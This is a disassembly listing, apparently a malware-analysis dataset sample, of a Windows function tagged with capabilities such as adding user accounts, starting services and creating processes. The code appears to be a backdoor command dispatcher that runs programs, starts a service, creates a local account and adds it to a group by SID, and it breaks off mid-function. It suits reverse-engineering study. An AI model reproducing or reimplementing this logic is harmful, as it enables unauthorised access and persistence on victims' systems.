Function at 0x410800
Capabilities:
Add user account
Add user account to group
Create process on windows
Create thread
Read file on windows
Start service

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x6cc
mov eax, dword [0x42d024]
xor eax, esp
mov dword [esp + 0x6c8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x100
xor edi, edi
lea ecx, [esp + 0x1d4]
push ecx
push edi
push edi
push eax
lea edx, [esp + 0x20]
push edx
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], edi
mov dword [esp + 0x2c], edi
call fcn.00404160
add esp, 0x18
lea ebx, [edi + 0x22]
test al, al
je 0x41085b
cmp byte [esp + 0x1d0], bl
jne 0x410886
mov ecx, dword [esp + 0x10]
push 0x100
lea eax, [esp + 0x1d4]
push eax
push ebx
push ebx
push ecx
lea edx, [esp + 0x28]
push edx
call fcn.00404160
mov esi, dword [esp + 0x2c]
add esp, 0x18
mov dword [esp + 0xc], esi
jmp 0x41088a
mov esi, dword [esp + 0xc]
push 0x129
call fcn.004051a0
mov eax, dword [0x42f218]
mov ecx, dword [eax + 0x4a4]
add esp, 4
lea eax, [esp + 0x1d0]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4108d0
test dl, dl
je 0x4108cc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4108d0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4108b0
xor eax, eax
jmp 0x4108d5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x4108e0
push 1
call fcn.00408420
push 0x12a
call fcn.004051a0
mov ecx, dword [0x42f218]
mov ecx, dword [ecx + 0x4a8]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x410920
test dl, dl
je 0x41091c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x410920
add eax, 2
add ecx, 2
test dl, dl
jne 0x410900
xor eax, eax
jmp 0x410925
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x4109a1
mov eax, dword [esp + 0x10]
push 0x104
lea edx, [esp + 0xcc]
push edx
push edi
push edi
push eax
lea ecx, [esp + 0x20]
push ecx
mov dword [esp + 0x2c], esi
call fcn.00404160
add esp, 0x18
test al, al
je 0x41095b
cmp byte [esp + 0xc8], bl
jne 0x41097c
mov eax, dword [esp + 0x10]
push 0x104
lea edx, [esp + 0xcc]
push edx
push ebx
push ebx
push eax
lea ecx, [esp + 0x28]
push ecx
call fcn.00404160
add esp, 0x18
lea edx, [esp + 0xc8]
push edx
call fcn.004101e0
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
push 0x12b
call fcn.004051a0
mov eax, dword [0x42f218]
mov ecx, dword [eax + 0x4ac]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4109e0
test dl, dl
je 0x4109dc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4109e0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4109c0
xor eax, eax
jmp 0x4109e5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x410a5d
mov edx, dword [esp + 0x10]
push 0x104
lea ecx, [esp + 0xcc]
push ecx
push edi
push edi
push edx
lea eax, [esp + 0x20]
push eax
mov dword [esp + 0x2c], esi
call fcn.00404160
add esp, 0x18
test al, al
je 0x410a1b
cmp byte [esp + 0xc8], bl
jne 0x410a3c
mov edx, dword [esp + 0x10]
push 0x104
lea ecx, [esp + 0xcc]
push ecx
push ebx
push ebx
push edx
lea eax, [esp + 0x28]
push eax
call fcn.00404160
add esp, 0x18
lea ecx, [esp + 0xc8]
call fcn.004103f0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
push 0x12c
call fcn.004051a0
mov ecx, dword [0x42f218]
mov ecx, dword [ecx + 0x4b0]
add esp, 4
lea eax, [esp + 0x1d0]
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x410aa0
test dl, dl
je 0x410a9c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x410aa0
add eax, 2
add ecx, 2
test dl, dl
jne 0x410a80
xor eax, eax
jmp 0x410aa5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x410ac3
call fcn.00410780
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
push 0x12d
call fcn.004051a0
mov edx, dword [0x42f218]
mov ecx, dword [edx + 0x4b4]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x410b03
test dl, dl
je 0x410aff
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x410b03
add eax, 2
add ecx, 2
test dl, dl
jne 0x410ae3
xor eax, eax
jmp 0x410b08
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x410b26
call fcn.004107c0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
push 0x12e
call fcn.004051a0
mov eax, dword [0x42f218]
mov ecx, dword [eax + 0x4b8]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x410b65
test dl, dl
je 0x410b61
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x410b65
add eax, 2
add ecx, 2
test dl, dl
jne 0x410b45
xor eax, eax
jmp 0x410b6a
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x410d61
mov ecx, dword [esp + 0x10]
push ecx
mov ebx, 0x100
lea edi, [esp + 0xcc]
lea esi, [esp + 0x10]
call fcn.00404250
add esp, 4
call fcn.0040b600
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x410b97
sub eax, edx
mov edx, eax
lea eax, [esp + 0xc8]
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x410bb0
sub eax, esi
lea edi, [eax + edx + 0x8b]
push edi
call fcn.00414f9a
mov esi, eax
add esp, 4
test esi, esi
je 0x410bc0
lea edx, [esp + 0x70]
push edx
lea eax, [esp + 0xcc]
push eax
call fcn.00414909
add esp, 8
test eax, eax
jne 0x410d01
lea eax, [esp + 0xc8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x410bf6
sub eax, edx
lea esi, [eax + 1]
push esi
call fcn.00414f9a
add esp, 4
mov dword [esp + 0x14], eax
test eax, eax
je 0x410c02
push esi
call fcn.00414f9a
mov edi, eax
add esp, 4
test edi, edi
je 0x410c13
mov esi, dword [esp + 0x14]
push edi
push esi
push 0
lea ecx, [esp + 0xd4]
push 0
push ecx
call fcn.0041645b
mov eax, esi
add esp, 0x14
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x410c41
mov ecx, edi
sub eax, edx
lea esi, [ecx + 1]
nop
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x410c50
sub ecx, esi
lea ebx, [ecx + eax + 8]
lea ecx, [ecx]
push ebx
call fcn.00414f9a
mov esi, eax
add esp, 4
test esi, esi
je 0x410c60
mov ebx, dword [esp + 0x14]
push edi
push ebx
push 0x4277c0
push esi
call fcn.0041512c
push esi
lea eax, [esp + 0xdc]
call fcn.00407020
add esp, 0x14
push esi
call fcn.00414f60
add esp, 4
push ebx
call fcn.00414f60
add esp, 4
push edi
call fcn.00414f60
add esp, 4
jmp 0x410cb0
push 0xe
call fcn.00414f9a
mov esi, eax
add esp, 4
test esi, esi
je 0x410cb0
push 0x13d
call fcn.004051a0
mov edx, dword [0x42f218]
mov eax, dword [edx + 0x4f4]
mov edx, esi
add esp, 4
sub edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x410ce0
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
push esi
call fcn.00414f60
add esp, 4
lea ebx, [ebx]
push 0xf
call fcn.00414f9a
mov esi, eax
add esp, 4
test esi, esi
je 0x410d10
push 0x13e
call fcn.004051a0
mov eax, dword [0x42f218]
mov eax, dword [eax + 0x4f8]
mov edx, esi
add esp, 4
sub edx, eax
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x410d40
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
push 0x12f
call fcn.004051a0
mov ecx, dword [0x42f218]
mov ecx, dword [ecx + 0x4bc]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x410da1
test dl, dl
je 0x410d9d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x410da1
add eax, 2
add ecx, 2
test dl, dl
jne 0x410d81
xor eax, eax
jmp 0x410da6
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x410ed1
mov edx, dword [esp + 0x10]
push edx
mov ebx, 0x100
lea edi, [esp + 0xcc]
lea esi, [esp + 0x10]
call fcn.00404250
mov eax, dword [esp + 0x14]
add esp, 4
push eax
lea edi, [esp + 0x3d4]
call fcn.00404250
mov ecx, dword [esp + 0x14]
add esp, 4
push ecx
lea edi, [esp + 0x1d4]
call fcn.00404250
add esp, 4
push 0x17b
call fcn.004051a0
mov edx, dword [0x42f218]
mov ecx, dword [edx + 0x5ec]
add esp, 4
mov eax, edi
push eax
lea edx, [esp + 0x3d4]
push edx
lea edx, [esp + 0xd0]
call fcn.00402550
add esp, 8
test al, al
je 0x410e81
lea ebx, [ebx]
push 0x10
call fcn.00414f9a
mov esi, eax
add esp, 4
test esi, esi
je 0x410e30
push 0x13f
call fcn.004051a0
mov eax, dword [0x42f218]
mov eax, dword [eax + 0x4fc]
mov edx, esi
add esp, 4
sub edx, eax
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x410e60
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
push 0x10
call fcn.00414f9a
mov esi, eax
add esp, 4
test esi, esi
je 0x410e81
push 0x140
call fcn.004051a0
mov ecx, dword [0x42f218]
mov eax, dword [ecx + 0x500]
mov edx, esi
add esp, 4
sub edx, eax
mov edi, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x410eb0
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
push 0x130
call fcn.004051a0
mov edx, dword [0x42f218]
mov ecx, dword [edx + 0x4c0]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x410f11
test dl, dl
je 0x410f0d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x410f11
add eax, 2
add ecx, 2
test dl, dl
jne 0x410ef1
xor eax, eax
jmp 0x410f16
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x411041
mov eax, dword [esp + 0x10]
push eax
mov ebx, 0x100
lea edi, [esp + 0xcc]
lea esi, [esp + 0x10]
call fcn.00404250
add esp, 4
push 0x44
lea ecx, [esp + 0x2c]
push 0
push ecx
call fcn.00418380
add esp, 0xc
xor eax, eax
lea edx, [esp + 0xb8]
push edx
mov dword [esp + 0xbc], eax
mov dword [esp + 0xc0], eax
mov dword [esp + 0xc4], eax
mov dword [esp + 0xc8], eax
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push ebx
push 0
push 0
push 0
mov ecx, edi
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x410ff1
cmp dword [esp + 0xc0], 0
je 0x410ff1
jmp 0x410fa0
push 3
call fcn.00414f9a
mov esi, eax
add esp, 4
test esi, esi
je 0x410fa0
push 0x13b
call fcn.004051a0
mov edx, dword [0x42f218]
mov eax, dword [edx + 0x4ec]
mov edx, esi
add esp, 4
sub edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x410fd0
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
push 0x18
call fcn.00414f9a
mov esi, eax
add esp, 4
test esi, esi
je 0x410ff1
push 0x141
call fcn.004051a0
mov eax, dword [0x42f218]
mov eax, dword [eax + 0x504]
mov edx, esi
add esp, 4
sub edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x411020
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
push 0x131
call fcn.004051a0
mov ecx, dword [0x42f218]
mov ecx, dword [ecx + 0x4c4]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x411081
test dl, dl
je 0x41107d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x411081
add eax, 2
add ecx, 2
test dl, dl
jne 0x411061
xor eax, eax
jmp 0x411086
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x4111d1
mov edi, edi
push 0x18
call fcn.00414f9a
add esp, 4
test eax, eax
je 0x411090
mov edx, dword [esp + 0x10]
push edx
mov ebx, 0x100
lea edi, [esp + 0xcc]
lea esi, [esp + 0x10]
call fcn.00404250
add esp, 4
push 0x44
lea eax, [esp + 0x74]
push 0
push eax
call fcn.00418380
add esp, 0xc
xor eax, eax
xor ecx, ecx
lea edx, [esp + 0xb8]
push edx
mov dword [esp + 0xbc], eax
mov dword [esp + 0xc0], eax
mov dword [esp + 0xc4], eax
mov dword [esp + 0xc8], eax
lea eax, [esp + 0x74]
push eax
push ecx
push ecx
push ebx
push ecx
push ecx
push ecx
mov word [esp + 0xc0], cx
mov ecx, edi
push ecx
push 0
mov dword [esp + 0xc4], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x411181
cmp dword [esp + 0xc0], 0
je 0x411181
jmp 0x411130
push 3
call fcn.00414f9a
mov esi, eax
add esp, 4
test esi, esi
je 0x411130
push 0x13b
call fcn.004051a0
mov edx, dword [0x42f218]
mov eax, dword [edx + 0x4ec]
mov edx, esi
add esp, 4
sub edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x411160
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
push 0x18
call fcn.00414f9a
mov esi, eax
add esp, 4
test esi, esi
je 0x411181
push 0x141
call fcn.004051a0
mov eax, dword [0x42f218]
mov eax, dword [eax + 0x504]
mov edx, esi
add esp, 4
sub edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4111b0
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
push 0x132
call fcn.004051a0
mov ecx, dword [0x42f218]
mov ecx, dword [ecx + 0x4c8]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x411211
test dl, dl
je 0x41120d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x411211
add eax, 2
add ecx, 2
test dl, dl
jne 0x4111f1
xor eax, eax
jmp 0x411216
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x4112f1
push 0x147
call fcn.004051a0
mov edx, dword [0x42f218]
mov esi, dword [edx + 0x51c]
add esp, 4
push 0x44
lea eax, [esp + 0x74]
push edi
push eax
call fcn.00418380
add esp, 0xc
xor eax, eax
lea edx, [esp + 0xb8]
push edx
mov dword [esp + 0xbc], eax
mov dword [esp + 0xc0], eax
mov dword [esp + 0xc4], eax
mov dword [esp + 0xc8], eax
lea eax, [esp + 0x74]
push eax
push edi
push edi
push 0x100
push edi
push edi
push edi
push esi
xor ecx, ecx
push edi
mov dword [esp + 0xc4], 1
mov word [esp + 0xc8], cx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
lea esp, [esp]
push 0x23
call fcn.00414f9a
mov esi, eax
add esp, 4
cmp esi, edi
je 0x4112a0
push 0x142
call fcn.004051a0
mov ecx, dword [0x42f218]
mov eax, dword [ecx + 0x508]
mov edx, esi
add esp, 4
sub edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x4112d0
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
push 0x133
call fcn.004051a0
mov edx, dword [0x42f218]
mov ecx, dword [edx + 0x4cc]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x411331
test dl, dl
je 0x41132d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x411331
add eax, 2
add ecx, 2
test dl, dl
jne 0x411311
xor eax, eax
jmp 0x411336
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x4113d5
mov eax, dword [esp + 0x10]
push eax
mov ebx, 0x100
lea edi, [esp + 0x3d4]
lea esi, [esp + 0x10]
call fcn.00404250
mov ecx, dword [esp + 0x14]
add esp, 4
push ecx
lea edi, [esp + 0xcc]
call fcn.00404250
add esp, 4
push 0x1040
mov edx, edi
push edx
lea eax, [esp + 0x3d8]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x19
call fcn.00414f9a
mov esi, eax
add esp, 4
test esi, esi
je 0x411387
push 0x143
call fcn.004051a0
mov ecx, dword [0x42f218]
mov eax, dword [ecx + 0x50c]
mov edx, esi
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x4113b4
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
push 0x134
call fcn.004051a0
mov edx, dword [0x42f218]
mov ecx, dword [edx + 0x4d0]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x411415
test dl, dl
je 0x411411
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x411415
add eax, 2
add ecx, 2
test dl, dl
jne 0x4113f5
xor eax, eax
jmp 0x41141a
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x411781
mov eax, dword [esp + 0x10]
push eax
mov ebx, 0x100
lea edi, [esp + 0xcc]
lea esi, [esp + 0x10]
call fcn.00404250
mov ecx, dword [esp + 0x14]
add esp, 4
push ecx
lea edi, [esp + 0x3d4]
call fcn.00404250
lea edx, [esp + 0xcc]
add esp, 4
push edx
call fcn.00403db0
mov dword [esp + 0x14], eax
mov eax, edi
add esp, 4
push eax
call fcn.00403db0
add esp, 4
xor ebx, ebx
push 0x14a
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], ebx
call fcn.004051a0
mov ecx, dword [0x42f218]
mov esi, dword [ecx + 0x528]
add esp, 4
push 0x148
call fcn.004051a0
mov eax, dword [0x42f218]
mov ecx, dword [eax + 0x520]
add esp, 4
push 4
lea edx, [esp + 0x10]
push edx
push esi
push 4
mov edx, connect
call fcn.00403d50
push 0x14b
mov dword [esp + 0x20], 1
call fcn.004051a0
mov ecx, dword [0x42f218]
mov esi, dword [ecx + 0x52c]
add esp, 0x14
push 0x148
call fcn.004051a0
mov eax, dword [0x42f218]
mov ecx, dword [eax + 0x520]
add esp, 4
push 4
lea edx, [esp + 0x10]
push edx
push esi
push 4
mov edx, connect
call fcn.00403d50
push 0x14c
mov dword [esp + 0x20], ebx
call fcn.004051a0
mov ecx, dword [0x42f218]
mov esi, dword [ecx + 0x530]
add esp, 0x14
push 0x149
call fcn.004051a0
mov eax, dword [0x42f218]
mov ecx, dword [eax + 0x524]
add esp, 4
push 4
lea edx, [esp + 0x10]
push edx
push esi
push 4
mov edx, connect
call fcn.00403d50
add esp, 0x10
push 2
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
cmp esi, ebx
je 0x4115aa
push 0x14d
call fcn.004051a0
mov ecx, dword [0x42f218]
mov eax, dword [ecx + 0x534]
add esp, 4
push 0x10
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
cmp edi, ebx
je 0x4115a3
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x14e
call fcn.004051a0
mov edx, dword [0x42f218]
mov esi, dword [edx + 0x538]
add esp, 4
push 0x44
lea eax, [esp + 0x2c]
push ebx
push eax
call fcn.00418380
add esp, 0xc
xor eax, eax
lea edx, [esp + 0xb8]
push edx
mov dword [esp + 0xbc], eax
mov dword [esp + 0xc0], eax
mov dword [esp + 0xc4], eax
mov dword [esp + 0xc8], eax
lea eax, [esp + 0x2c]
push eax
push ebx
push ebx
push 0x100
push ebx
push ebx
push ebx
push esi
xor ecx, ecx
push ebx
mov dword [esp + 0x7c], 1
mov word [esp + 0x80], cx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x411636
mov ecx, dword [esp + 0xb8]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [esp + 0x10]
mov edi, dword [esp + 0x1c]
lea edx, [esp + 0x24]
push edx
mov eax, 1
lea ecx, [esp + 0x74]
push ecx
push eax
push ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x80], esi
mov dword [esp + 0x84], edi
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], ebx
mov dword [esp + 0x94], ebx
mov dword [esp + 0x98], eax
mov dword [esp + 0x9c], ebx
call dword [sym.imp.NETAPI32.dll_NetUserAdd]
push 0x14f
mov dword [esp + 0x18], ebx
call fcn.004051a0
mov edx, dword [0x42f218]
mov eax, dword [edx + 0x53c]
add esp, 4
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_ConvertStringSidToSidA]
test eax, eax
je 0x411712
mov eax, 0x100
mov dword [esp + 0x10], eax
mov dword [esp + 0x1c], eax
lea edx, [esp + 0xb8]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x4d8]
push ecx
mov ecx, dword [esp + 0x20]
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x1e0]
push eax
push ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
test eax, eax
je 0x411712
push 1
lea edx, [esp + 0x24]
push edx
push 3
lea eax, [esp + 0x1dc]
push eax
push ebx
mov dword [esp + 0x34], esi
call dword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]
cmp esi, ebx
je 0x41171f
push esi
call fcn.00414f60
add esp, 4
cmp edi, ebx
je 0x411730
push edi
call fcn.00414f60
add esp, 4
lea esp, [esp]
push 0x27
call fcn.00414f9a
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x411730
push 0x144
call fcn.004051a0
mov ecx, dword [0x42f218]
mov eax, dword [ecx + 0x510]
mov edx, esi
add esp, 4
sub edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
cmp cl, bl
jne 0x411760
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
push 0x135
call fcn.004051a0
mov edx, dword [0x42f218]
mov ecx, dword [edx + 0x4d4]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4117c1
test dl, dl
je 0x4117bd
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4117c1
add eax, 2
add ecx, 2
test dl, dl
jne 0x4117a1
xor eax, eax
jmp 0x4117c6
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x411895
mov edi, edi
push 0x100
call fcn.00414f9a
add esp, 4
mov dword [esp + 0x14], eax
cmp eax, edi
je 0x4117d0
mov eax, dword [esp + 0x10]
mov edi, dword [esp + 0x14]
push eax
mov ebx, 0x100
lea esi, [esp + 0x10]
call fcn.00404250
mov ecx, dword [esp + 0x14]
add esp, 4
push ecx
mov ebx, 8
lea edi, [esp + 0xbc]
call fcn.00404250
mov edx, dword [esp + 0x18]
mov eax, edi
add esp, 4
push eax
mov dword [0x42ef84], edx
call fcn.0041524c
add esp, 4
push 0
push 0
push 0
push 0x40fe50
push 0
push 0
mov dword [0x42f8e4], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1b
call fcn.00414f9a
mov esi, eax
add esp, 4
test esi, esi
je 0x411847
push 0x145
call fcn.004051a0
mov ecx, dword [0x42f218]
mov eax, dword [ecx + 0x514]
mov edx, esi
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x411874
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
push 0x136
call fcn.004051a0
mov edx, dword [0x42f218]
mov ecx, dword [edx + 0x4d8]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4118d5
test dl, dl
je 0x4118d1
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4118d5
add eax, 2
add ecx, 2
test dl, dl
jne 0x4118b5
xor eax, eax
jmp 0x4118da
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x411951
mov edi, edi
push 4
call fcn.00414f9a
add esp, 4
cmp eax, edi
je 0x4118e0
push edi
push edi
push eax
push 0x40bf50
push edi
push edi
mov dword [eax], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xa
call fcn.00414f9a
mov esi, eax
add esp, 4
cmp esi, edi
je 0x411904
push 0x13b
call fcn.004051a0
mov eax, dword [0x42f218]
mov eax, dword [eax + 0x4ec]
mov edx, esi
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x411930
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
push 0x137
call fcn.004051a0
mov ecx, dword [0x42f218]
mov ecx, dword [ecx + 0x4dc]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x411991
test dl, dl
je 0x41198d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x411991
add eax, 2
add ecx, 2
test dl, dl
jne 0x411971
xor eax, eax
jmp 0x411996
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x411a12
lea ebx, [ebx]
push 4
call fcn.00414f9a
add esp, 4
cmp eax, edi
je 0x4119a0
push edi
push edi
push eax
push 0x40edd0
push edi
push edi
mov dword [eax], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xa
call fcn.00414f9a
mov esi, eax
add esp, 4
cmp esi, edi
je 0x4119c4
push 0x13b
call fcn.004051a0
mov edx, dword [0x42f218]
mov eax, dword [edx + 0x4ec]
mov edx, esi
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x4119f1
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.00413f0d
mov esp, ebp
pop ebp
ret
push 0x138
call fcn.004051a0
mov eax, dword [0x42f218]
mov ecx, dword [eax + 0x4e0]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x411a51
test dl, dl
je 0x411a4d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x411a51
add eax, 2
add ecx, 2
test dl, dl
jne 0x411a31
xor eax, eax
jmp 0x411a56
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x411ad2
lea ebx, [ebx]
push 4
call fcn.00414f9a
add esp, 4
cmp eax, edi
je 0x411a60
push edi
push edi
push eax
push 0x40f6e0
push edi
push edi
mov dword [eax], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xa
call fcn.00414f9a
mov esi, eax
add esp, 4
cmp esi, edi
je 0x411a84
push 0x13b
